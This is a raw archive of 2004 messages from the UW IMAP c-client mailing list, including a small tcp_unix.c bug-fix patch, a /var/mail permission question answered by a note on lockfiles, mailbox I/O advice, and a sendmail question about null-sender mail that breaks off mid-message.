for ; Sat, 28 Feb 2004 09:20:50 -0800 Received: from mail1.bluewin.ch (mail1.bluewin.ch [195.186.1.74]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1SHKmL1029373 for ; Sat, 28 Feb 2004 09:20:49 -0800 Received: from localhost (62.203.90.59) by mail1.bluewin.ch (Bluewin AG 7.0.024) id 000000000005DF34; Sat, 28 Feb 2004 17:20:40 +0000 Received: from tpo2 (helo=localhost) by localhost with local-esmtp (Exim 3.36 #1 (Debian)) id 1Ax88m-0000GQ-00; Sat, 28 Feb 2004 18:20:40 +0100 Message-Id: Date: Sat, 28 Feb 2004 18:20:40 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Tomas Pospisek's Mailing Lists" To: Erik Berls Cc: c-client@CAC.Washington.EDU, "Michael 'hacker' Krelin" Subject: Re: Anyone with MH patches? In-Reply-To: <200312110058.hBB0wGD20985@ni-jute.core.ono-sendai.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: tpo2@localhost X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 10 Dec 2003, Erik Berls wrote: > I've looked through the mail archives and I've seen support issues > for MH folders come up numerous times. > > I was wondering if anyone had patches that implemented the ability > to maintain the read/un-read status of messages. Ideally, I would > prefer if this was done via updating the .mh_sequences file, however > I'm willing to take any support along this line. > > (Alternately, if people out there view this as working, please tell > me what I need to do to kick Mail.app 1.3 [OS X, Panther] into > functioning proper.) I don't know if Michael "hacker" Krelin is reading this list, but he's also an avid MH user. Maybe you want to shortcut yourself with him - I'm Cc: ing him this message. *t -- ----------------------------------------------------------- Tomas Pospisek http://sourcepole.com - Linux & Open Source Solutions ----------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Mon Mar 1 04:38:11 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 1 Mar 2004 04:38:11 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i21CcBlQ003043 for ; Mon, 1 Mar 2004 04:38:11 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i21Cc9hn011160 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 1 Mar 2004 04:38:09 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with SMTP id i21CZfjx011070; Mon, 1 Mar 2004 04:35:41 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i21CX6XC046378 for ; Mon, 1 Mar 2004 04:33:06 -0800 Received: from vacuum.ics.mq.edu.au (vacuum.ics.mq.edu.au [137.111.216.16]) by mxu2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i21CWxKI004426 for ; Mon, 1 Mar 2004 04:33:03 -0800 Received: from vacuum.ics.mq.edu.au (vacuum.ics.mq.edu.au [137.111.216.16]) by vacuum.ics.mq.edu.au (8.11.6/8.11.7) with SMTP id i21CWwq22208 for ; Mon, 1 Mar 2004 23:32:59 +1100 (EST) Received: from vacuum.ics.mq.edu.au ([137.111.216.16]) by vacuum.ics.mq.edu.au (SAVSMTP 3.1.3.37) with SMTP id M2004030123325719808 for ; Mon, 01 Mar 2004 23:32:57 +1100 Received: from euler.ics.mq.edu.au (root@euler.ics.mq.edu.au [137.111.90.11]) by vacuum.ics.mq.edu.au (8.11.6/8.11.7) with ESMTP id i21CWw222203 for ; Mon, 1 Mar 2004 23:32:58 +1100 (EST) Received: from maths.mq.edu.au (steffen@localhost [127.0.0.1]) by euler.ics.mq.edu.au (8.12.9/8.12.9) with ESMTP id i21CWv2o004691 for ; Mon, 1 Mar 2004 23:32:57 +1100 (EST) Message-Id: <592ADCE8-6B7C-11D8-9590-000A958518E8@maths.mq.edu.au> Date: Mon, 1 Mar 2004 23:31:22 +1100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Daniel A. Steffen" To: c-client@u.washington.edu Subject: bug in imap-2004.RC7 Mime-Version: 1.0 (Apple Message framework v553) Content-Type: multipart/mixed; boundary=Apple-Mail-5-1052834591 X-Image-Url: http://www.maths.mq.edu.au/~steffen/images/das X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__MSGID_APPLEMAIL 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --Apple-Mail-5-1052834591 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed Hi, found a small bug in tcp_aopen() in imap-2004.RC7/src/osdep/unix/tcp_unix.c: for non-numeric host addresses, the 'host' variable is never initialized with 'mb->host' which causes rimapd connections to always fail. the attached patch fixes the problem Cheers, Daniel -- ** Daniel A. Steffen ** "And now for something completely ** Dept. of Mathematics ** different" Monty Python ** Macquarie University ** ** NSW 2109 Australia ** --Apple-Mail-5-1052834591 Content-Disposition: attachment Content-Type: multipart/appledouble; boundary=Apple-Mail-6-1052834591 --Apple-Mail-6-1052834591 Content-Disposition: attachment; filename=tcp_unix.patch Content-Transfer-Encoding: base64 Content-Type: application/applefile; name="tcp_unix.patch" AAUWBwACAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAJAAAAPgAAAAoAAAADAAAASAAAAA4AAAACAAAA VgAAAX5URVhUUipjaAAAdGNwX3VuaXgucGF0Y2gAAAEAAAABTAAAAEwAAAAyAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAASAAJUHJvRm9udAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAIAG4AKAPAAqgAbgAoA8AC qLxpdOIAAAJVAAACVQAAAAABAAAAAQAAAAFMAAAATAAAADIAW/CQBxMAAAAcADIAAE1QU1IAAAAK A+3//wAAAAABPpF0 --Apple-Mail-6-1052834591 Content-Disposition: attachment; filename=tcp_unix.patch Content-Transfer-Encoding: quoted-printable Content-Type: application/text; x-mac-creator=522A6368; x-unix-mode=0644; x-mac-type=54455854; name="tcp_unix.patch" diff=20-rup=20orig/imap-2004.RC7/src/osdep/unix/tcp_unix.c=20= imap-2004.RC7/src/osdep/unix/tcp_unix.c=0A---=20= orig/imap-2004.RC7/src/osdep/unix/tcp_unix.c=09Sat=20Feb=2021=2009:42:01=20= 2004=0A+++=20imap-2004.RC7/src/osdep/unix/tcp_unix.c=09Mon=20Mar=20=201=20= 22:00:57=202004=0A@@=20-337,7=20+337,10=20@@=20TCPSTREAM=20*tcp_aopen=20= (NETMBX=20*mb,char=20*s=0A=20=20=20=20=20=20=20return=20NIL;=0A=20=20=20=20= =20}=0A=20=20=20}=0A-=20=20else=20if=20((s=20=3D=20tcp_canonical=20= (host))=20!=3D=20host)=20strcpy=20(host,s);=0A+=20=20else=20{=0A+=20=20=20= =20strcpy=20(host,mb->host);=0A+=20=20=20=20if=20((s=20=3D=20= tcp_canonical=20(host))=20!=3D=20host)=20strcpy=20(host,s);=0A+=20=20}=0A= =20=0C=0A=20=20=20if=20(*service=20=3D=3D=20'*')=09=09/*=20build=20ssh=20= command=20*/=0A=20=20=20=20=20sprintf=20(tmp,sshcommand,sshpath,host,=0A= --Apple-Mail-6-1052834591-- --Apple-Mail-5-1052834591-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Mar 8 05:24:43 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 8 Mar 2004 05:24:43 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i28DOhPt020155 for ; Mon, 8 Mar 2004 05:24:43 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i28DOfUA030894 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 8 Mar 2004 05:24:41 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with SMTP id i28DNI5D014780; Mon, 8 Mar 2004 05:23:18 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i28DLXxK119244 for ; Mon, 8 Mar 2004 05:21:33 -0800 Received: from sol.prograde.net (gateway.prograde.net [66.92.163.78]) by mxu2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i28DLVlA020677 for ; Mon, 8 Mar 2004 05:21:32 -0800 Received: from [10.10.50.26] (hades.fgm.com [216.1.16.126]) by sol.prograde.net (Postfix) with ESMTP id 7D44A96B44 for ; Mon, 8 Mar 2004 08:21:31 -0500 (EST) Message-Id: <8360ECF2-7103-11D8-9E31-000393D1EFA0@prograde.net> Date: Mon, 8 Mar 2004 08:21:31 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Michael Cashwell To: c-client@u.washington.edu Subject: imapd /var/mail permission question Mime-Version: 1.0 (Apple Message framework v612) Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__MSGID_APPLEMAIL 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __CTE 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Greetings, I'm running imap-2004.RC6 on MacOS X 10.3 (a big endian BSD-ish system). I see that RC7 is available but I'd like to ask about an issue I'm seeing before evaluating that upgrade this evening. The issue is an odd message in my system log running my IMAP client. (I see nothing of note in the server's system log.) This began following some recent installation and maintenance of other software on the server that tightened its file system permissions a bit. The message is: 2004-03-08 07:29:12.094 Mail[435] Unhandled response to command CLOSE: * NO Mailbox vulnerable - directory /var/mail must have 1777 protection /var/mail had these permissions at the time: drwxrwxr-t 7 root mail 238 8 Mar 07:25 mail I changed them to: drwxrwxrwt 7 root mail 238 8 Mar 07:25 mail and that did silence the complaint, but in what way is having _more_ restrictive permissions a vulnerability? I understand that more restrictive permissions could in general prevent a server process from working, but that's not what the command response said. And (in this specific case) is there some reason why UW imapd (and presumably ipop3d) would actually need world-write on /var/mail? My understanding is that the server process runs as the authenticated user and should thus have rw access to that user's mbox file in this directory. Those files already exist for each mail account on the system so write access to the directory shouldn't be needed, right? I'm probably just being clueless but I'd like to understand the actual issue before I permanently relax the permissions on /var/mail/. Thanks! -Michael Cashwell -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Mar 8 05:54:31 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 8 Mar 2004 05:54:31 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i28DsU6x020665 for ; Mon, 8 Mar 2004 05:54:30 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i28DsSMh031680 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 8 Mar 2004 05:54:29 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with SMTP id i28DrYgk011898; Mon, 8 Mar 2004 05:53:34 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i28DqTLb050140 for ; Mon, 8 Mar 2004 05:52:29 -0800 Received: from smtp-out.rrz.uni-koeln.de (smtp-out.rrz.Uni-Koeln.DE [134.95.19.53]) by mxu2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i28DqQrh025334 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 8 Mar 2004 05:52:27 -0800 Received: from smtp.uni-koeln.de (lvr5.rrz.uni-koeln.de [134.95.19.103]) by smtp-out.rrz.uni-koeln.de (8.12.11/8.12.11) with ESMTP id i28DqBZ0019837; Mon, 8 Mar 2004 14:52:12 +0100 Received: from tyrion.rrz.uni-koeln.de (tyrion.rrz.Uni-Koeln.DE [134.95.128.1]) by smtp.uni-koeln.de (8.12.11/8.12.11) with ESMTP id i28DqBHD022793; Mon, 8 Mar 2004 14:52:11 +0100 Message-Id: <2147483647.1078757531@tyrion.rrz.uni-koeln.de> Date: Mon, 08 Mar 2004 14:52:11 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: Michael Cashwell Cc: c-client@u.washington.edu Subject: Re: imapd /var/mail permission question In-Reply-To: <8360ECF2-7103-11D8-9E31-000393D1EFA0@prograde.net> References: <8360ECF2-7103-11D8-9E31-000393D1EFA0@prograde.net> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Virus-Scanned: by amavisd-new X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __CD 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --On Montag, 8. M=E4rz 2004 8:21 Uhr -0500 Michael Cashwell=20 wrote: > The message is: > > 2004-03-08 07:29:12.094 Mail[435] Unhandled response to command CLOSE: * > NO Mailbox vulnerable - directory /var/mail must have 1777 protection > > /var/mail had these permissions at the time: > drwxrwxr-t 7 root mail 238 8 Mar 07:25 mail > > I changed them to: > drwxrwxrwt 7 root mail 238 8 Mar 07:25 mail > > and that did silence the complaint, but in what way is having _more_ > restrictive permissions a vulnerability? The vulnerability is that a lockfile can't be created, so that another=20 process might munge the mailbox. Here's the FAQ entry discussing this:=20 -- Sebastian Hagedorn PGP key ID: 0x4D105B45 http://www.spinfo.uni-koeln.de/~hgd/ From pinedev@shivax2.cac.washington.edu Tue Mar 9 04:08:24 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 9 Mar 2004 04:08:24 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i29C8OpD006926 for ; Tue, 9 Mar 2004 04:08:24 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i29C8MkW015911 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 9 Mar 2004 04:08:22 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with SMTP id i29C6rpd013724; Tue, 9 Mar 2004 04:06:53 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i29C5e0T070032 for ; Tue, 9 Mar 2004 04:05:40 -0800 Received: from [212.130.179.138] ([212.130.179.138]) by mxu5.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with SMTP id i29C5cxM013622 for ; Tue, 9 Mar 2004 04:05:39 -0800 Received: from no.name.available by [212.130.179.138] via smtpd (for mxu5.u.washington.edu [140.142.32.164]) with SMTP; Tue, 9 Mar 2004 13:05:38 +0100 Received: (private information removed) Received: (private information removed) Message-Id: <404DB3C3.8050703@top-toy.dk> Date: Tue, 09 Mar 2004 13:08:35 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dennis Nilsson To: c-client@u.washington.edu Subject: disk usage and speed MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: da, en-US, en,en-GB,* X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__MOZILLA_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi all I have a setup where i have around 200 user and they sometimes have mailboxes of 2GB i size in our current setup we are running an old imap version from the RH 6.2 release on a 800Mhz machine with 800 MB memory. it also have an SCSI 2 disk raid ( not very fast). We have problems when our mail space runs low and a user wants to delete some mail, if the user have a mailbox around 1-2 GB in size he cant delete the mail. we also have speed problems, users somtimes wait minutes for a server response.. our new setup is a 3 Ghz machines with 2 GB memory and a RAID 5 storage of 400 GB. it runs Redhat Enterprise ES. the question is: Will speed of the new system be good enough, even if a user with the 2GB mailboxes starte to delete spam mails. Will the IO load of the system be large. how does Imap 2002d delete a message from a mailbox, will it do a copy of the entire mailbox or can it delete a message in one large file without to much IO. or do i have to choose a IMAP server that stores mails i single files in Unix folders. thanks Dennis -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Mar 9 07:09:33 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 9 Mar 2004 07:09:33 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i29F9XF1012017 for ; Tue, 9 Mar 2004 07:09:33 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i29F9VYi021340 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 9 Mar 2004 07:09:32 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with SMTP id i29F8U8n015526; Tue, 9 Mar 2004 07:08:31 -0800 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i29F6ptU024198 for ; Tue, 9 Mar 2004 07:06:51 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu8.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i29F6ovC008118 for ; Tue, 9 Mar 2004 07:06:50 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i29F6nLY016460; Tue, 9 Mar 2004 07:06:49 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i29F6mx5014594; Tue, 9 Mar 2004 07:06:49 -0800 Message-Id: Date: Tue, 9 Mar 2004 07:06:48 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Dennis Nilsson Cc: c-client@u.washington.edu Subject: Re: disk usage and speed In-Reply-To: <404DB3C3.8050703@top-toy.dk> References: <404DB3C3.8050703@top-toy.dk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 9 Mar 2004, Dennis Nilsson wrote: > Will speed of the new system be good enough, even if a user > with the 2GB mailboxes starte to delete spam mails. CPU speed is rarely the issue. IMAP servers tend to be I/O bound. > Will the IO load of the system be large. Yes. The more spindles you have (as opposed to single gigantic disks), the better. Definitely separate the mail spool on a different disk from user mailboxes. > how does Imap 2002d delete a message from a mailbox, will it > do a copy of the entire mailbox or can it delete a message in one large > file without to much IO. It depends upon the mailbox format. In traditional UNIX format, it has to rewrite the mailbox from the point that the deleted message is located to the end of the mailbox. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Mar 11 19:32:20 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 11 Mar 2004 19:32:20 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2C3WKn6023589 for ; Thu, 11 Mar 2004 19:32:20 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2C3WIhT022356 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 11 Mar 2004 19:32:18 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with SMTP id i2C3UDs6014708; Thu, 11 Mar 2004 19:30:13 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2C3Sows060198 for ; Thu, 11 Mar 2004 19:28:50 -0800 Received: from mail.camgsm.com.kh (mailmx.camgsm.com.kh [203.144.65.11]) by mxu1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2C3Sfk1019554 for ; Thu, 11 Mar 2004 19:28:44 -0800 Received: from iobreman (ws150-5.camgsm.com.kh [23.0.150.5] (may be forged)) by mail.camgsm.com.kh (8.12.3/8.12.3) with SMTP id i2C3SVh3002058 for ; Fri, 12 Mar 2004 10:28:32 +0700 Message-Id: <08c501c407e1$bb7612d0$05960017@iobreman> Date: Fri, 12 Mar 2004 10:25:55 +0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Breman" To: Subject: Stop mail from empty address MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_08C2_01C4081C.675C1150" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4927.1200 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME 0.716, HTML_50_70 0.092, __OUTLOOK_MSGID_1 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __CTYPE_MULTIPART_ALT 0, __EVITE_CTYPE 0, __NEXTPART_ALL 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __NEXTPART_NORMAL 0, __HAS_X_PRIORITY 0, __HAS_MSMAIL_PRI 0, __HAS_MIMEOLE 0, __TAG_EXISTS_BODY 0, __TAG_EXISTS_META 0, __MIME_HTML 0, __TAG_EXISTS_HTML 0, HTML_FONT_COLOR_BLUE 0.000, __TAG_EXISTS_HEAD 0, MAY_BE_FORGED 0.000, __HAS_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_08C2_01C4081C.675C1150 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Dear All, I have a mail server using sendmail version 8.12.3 in linux 7.2 and I = always received mails from the empty address or from the specific = address but the size is 0. How to config in sendmail.cf or other easy way to stop this? Please see a part of my log mail below: Mar 12 08:48:15 mail sendmail[17782]: i2C1mEh5017782: from=3D<>, = size=3D2843, class=3D0, nrcpts=3D1,=20 Mar 12 08:48:22 mail sendmail[17861]: i2C1mLh5017861: from=3D<>, = size=3D2841, class=3D0, nrcpts=3D1,=20 Mar 12 08:49:41 mail sendmail[18011]: i2C1nYh3018011: from=3D<>, = size=3D0, class=3D0, nrcpts=3D0,=20 Mar 12 08:50:50 mail sendmail[18238]: i2C1oih3018238: from=3D<>, = size=3D1681, class=3D0, nrcpts=3D0 Mar 12 08:51:43 mail sendmail[18328]: i2C1phh3018328: from=3D<>, = size=3D1270, class=3D0, nrcpts=3D8 Mar 12 08:52:49 mail sendmail[18648]: i2C1qmh3018648: from=3D<>, = size=3D2458, class=3D0, nrcpts=3D0 Mar 12 08:53:22 mail sendmail[18654]: i2C1rGh3018654: from=3D<>, = size=3D0, class=3D0, nrcpts=3D0 Mar 12 08:54:16 mail sendmail[18723]: i2C1sBh3018723: from=3D<>, = size=3D33370, class=3D0, nrcpts=3D0 Mar 12 08:54:27 mail sendmail[18843]: i2C1sPh5018843: from=3D<>, = size=3D2824, class=3D0, nrcpts=3D1 Mar 12 08:54:40 mail sendmail[19009]: i2C1sdh5019009: from=3D<>, = size=3D2852, class=3D0, nrcpts=3D1 Thanks, Man ------=_NextPart_000_08C2_01C4081C.675C1150 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

    Dear All,
     
    I have a mail server using = sendmail version=20 8.12.3 in linux 7.2 and I always received mails from the empty address = or from=20 the specific address but the size is 0.
    How to config in sendmail.cf or other = easy way to=20 stop this?
    Please see a part of my log mail=20 below:
     
    Mar 12 08:48:15 mail sendmail[17782]:=20 i2C1mEh5017782: from=3D<>, = size=3D2843, class=3D0,=20 nrcpts=3D1,
    Mar 12 08:48:22 mail sendmail[17861]: i2C1mLh5017861: = from=3D<>    , size=3D2841, class=3D0, = nrcpts=3D1,
    Mar 12 08:49:41 mail sendmail[18011]:=20 i2C1nYh3018011: from=3D<>, size=3D0, class=3D0, nrcpts=3D0,
    Mar 12 08:50:50 mail sendmail[18238]:=20 i2C1oih3018238: from=3D<>, = size=3D1681, class=3D0,=20 nrcpts=3D0
